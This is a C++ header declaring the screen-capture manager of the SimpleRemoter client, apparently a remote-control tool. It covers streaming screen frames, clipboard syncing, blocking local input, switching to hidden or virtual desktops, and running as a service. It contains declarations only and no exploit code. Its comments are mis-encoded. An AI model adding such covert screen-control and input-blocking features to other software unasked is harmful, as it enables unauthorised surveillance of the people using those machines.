Files
SimpleRemoter/client/ScreenManager.h
2025-12-28 21:25:45 +01:00

81 lines
2.3 KiB
C++

// ScreenManager.h: interface for the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "ScreenSpy.h"
#include "ScreenCapture.h"
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
bool IsWindows8orHigher();
class IOCPClient;
struct UserParam;
class CScreenManager : public CManager
{
public:
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CScreenManager();
HANDLE m_hWorkThread;
void InitScreenSpy();
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
ScreenCapture* m_ScreenSpyObject;
VOID SendFirstScreen();
const char* GetNextScreen(ULONG &ulNextSendLength);
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
UserParam *m_pUserParam = NULL;
INT_PTR m_ptrUser;
HDESK g_hDesk;
BOOL m_isGDI;
std::string m_DesktopID;
BOOL m_bIsWorking;
BOOL m_bIsBlockInput;
VOID SendClientClipboard(BOOL fast);
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
std::string m_hash;
std::string m_hmac;
CONNECT_ADDRESS *m_conn = nullptr;
void SetConnection(CONNECT_ADDRESS* conn)
{
m_conn = conn;
}
bool IsRunAsService() const
{
return m_conn ? m_conn->iStartup == Startup_GhostMsc : false;
}
bool SwitchScreen();
virtual BOOL OnReconnect();
uint64_t m_DlgID = 0;
BOOL m_SendFirst = FALSE;
int m_nMaxFPS = 20;
// ÐéÄâ×ÀÃæ
BOOL m_virtual;
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // ±ê¼ÇÓÒ¼üÊÇ·ñ°´ÏÂ
POINT m_rclickPoint; // ÓÒ¼üµã»÷×ø±ê
HWND m_rclickWnd; // ÓÒ¼ü´°¿Ú
};
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)